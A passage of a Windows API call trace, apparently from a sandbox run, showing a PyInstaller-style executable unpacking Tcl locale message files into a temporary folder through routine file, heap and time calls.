dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.238] GetFileType (hFile=0x10c) returned 0x1 [0037.238] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.238] CloseHandle (hObject=0x10c) returned 1 [0037.238] GetLastError () returned 0x0 [0037.238] SetLastError (dwErrCode=0x0) [0037.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.239] GetFileType (hFile=0x10c) returned 0x1 [0037.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.239] CloseHandle (hObject=0x10c) returned 1 [0037.239] GetLastError () returned 0x0 [0037.239] SetLastError (dwErrCode=0x0) [0037.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ni.msg") returned 64 [0037.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ni.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ni.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.239] GetLastError () returned 0x2 [0037.239] SetLastError (dwErrCode=0x2) [0037.239] GetLastError () returned 0x2 [0037.239] SetLastError (dwErrCode=0x2) [0037.239] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ni.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ni.msg", lpFilePart=0x0) returned 0x3f [0037.239] GetLastError () returned 0x2 [0037.239] SetLastError (dwErrCode=0x2) [0037.239] GetLastError () returned 0x2 [0037.239] SetLastError (dwErrCode=0x2) [0037.239] GetLastError () returned 0x2 [0037.239] SetLastError (dwErrCode=0x2) [0037.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ni.msg") returned 64 [0037.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_ni.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_ni.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.240] GetFileType (hFile=0x10c) returned 0x1 [0037.240] htonl (hostlong=0xfb000000) returned 0xfb [0037.240] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.240] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.241] CloseHandle (hObject=0x10c) returned 1 [0037.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.241] htonl (hostlong=0x30000000) returned 0x30 [0037.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.242] GetFileType (hFile=0x10c) returned 0x1 [0037.242] htonl (hostlong=0x28525700) returned 0x575228 [0037.242] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0228, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.242] htonl (hostlong=0xa0000000) returned 0xa0 [0037.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0037.242] htonl (hostlong=0xa0000000) returned 0xa0 [0037.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.242] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.242] htonl (hostlong=0xfb000000) returned 0xfb [0037.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.242] htonl (hostlong=0xa0000000) returned 0xa0 [0037.242] htonl (hostlong=0xfb000000) returned 0xfb [0037.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.242] CloseHandle (hObject=0x10c) returned 1 [0037.242] GetLastError () returned 0x0 [0037.242] SetLastError (dwErrCode=0x0) [0037.242] GetLastError () returned 0x0 [0037.242] SetLastError (dwErrCode=0x0) [0037.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.243] GetFileType (hFile=0x10c) returned 0x1 [0037.243] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.243] CloseHandle (hObject=0x10c) returned 1 [0037.243] GetLastError () returned 0x0 [0037.243] SetLastError (dwErrCode=0x0) [0037.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.243] GetFileType (hFile=0x10c) returned 0x1 [0037.243] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.244] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.244] CloseHandle (hObject=0x10c) returned 1 [0037.244] GetLastError () returned 0x0 [0037.244] SetLastError (dwErrCode=0x0) [0037.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pa.msg") returned 64 [0037.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pa.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_pa.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.244] GetLastError () returned 0x2 [0037.244] SetLastError (dwErrCode=0x2) [0037.244] GetLastError () returned 0x2 [0037.244] SetLastError (dwErrCode=0x2) [0037.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pa.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pa.msg", lpFilePart=0x0) returned 0x3f [0037.244] GetLastError () returned 0x2 [0037.244] SetLastError (dwErrCode=0x2) [0037.244] GetLastError () returned 0x2 [0037.244] SetLastError (dwErrCode=0x2) [0037.244] GetLastError () returned 0x2 [0037.244] SetLastError (dwErrCode=0x2) [0037.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pa.msg") returned 64 [0037.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pa.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_pa.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.245] GetFileType (hFile=0x10c) returned 0x1 [0037.245] htonl (hostlong=0xfb000000) returned 0xfb [0037.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.245] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.246] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.246] CloseHandle (hObject=0x10c) returned 1 [0037.247] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.247] htonl (hostlong=0x30000000) returned 0x30 [0037.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.247] GetFileType (hFile=0x10c) returned 0x1 [0037.247] htonl (hostlong=0xc8525700) returned 0x5752c8 [0037.247] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c02c8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.247] htonl (hostlong=0x9f000000) returned 0x9f [0037.247] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.247] htonl (hostlong=0x9f000000) returned 0x9f [0037.247] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.247] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.247] htonl (hostlong=0xfb000000) returned 0xfb [0037.247] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.247] htonl (hostlong=0x9f000000) returned 0x9f [0037.247] htonl (hostlong=0xfb000000) returned 0xfb [0037.247] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.247] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.247] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.247] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.247] CloseHandle (hObject=0x10c) returned 1 [0037.248] GetLastError () returned 0x0 [0037.248] SetLastError (dwErrCode=0x0) [0037.248] GetLastError () returned 0x0 [0037.248] SetLastError (dwErrCode=0x0) [0037.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.248] GetFileType (hFile=0x10c) returned 0x1 [0037.248] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.248] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.248] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.248] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.248] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.248] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.248] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.248] CloseHandle (hObject=0x10c) returned 1 [0037.248] GetLastError () returned 0x0 [0037.248] SetLastError (dwErrCode=0x0) [0037.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.248] GetFileType (hFile=0x10c) returned 0x1 [0037.248] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.249] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.249] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.249] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.249] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.249] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.249] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.249] CloseHandle (hObject=0x10c) returned 1 [0037.249] GetLastError () returned 0x0 [0037.249] SetLastError (dwErrCode=0x0) [0037.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pe.msg") returned 64 [0037.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pe.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_pe.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.249] GetLastError () returned 0x2 [0037.249] SetLastError (dwErrCode=0x2) [0037.249] GetLastError () returned 0x2 [0037.249] SetLastError (dwErrCode=0x2) [0037.249] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pe.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pe.msg", lpFilePart=0x0) returned 0x3f [0037.249] GetLastError () returned 0x2 [0037.249] SetLastError (dwErrCode=0x2) [0037.249] GetLastError () returned 0x2 [0037.249] SetLastError (dwErrCode=0x2) [0037.249] GetLastError () returned 0x2 [0037.249] SetLastError (dwErrCode=0x2) [0037.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pe.msg") returned 64 [0037.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.249] CreateFileW 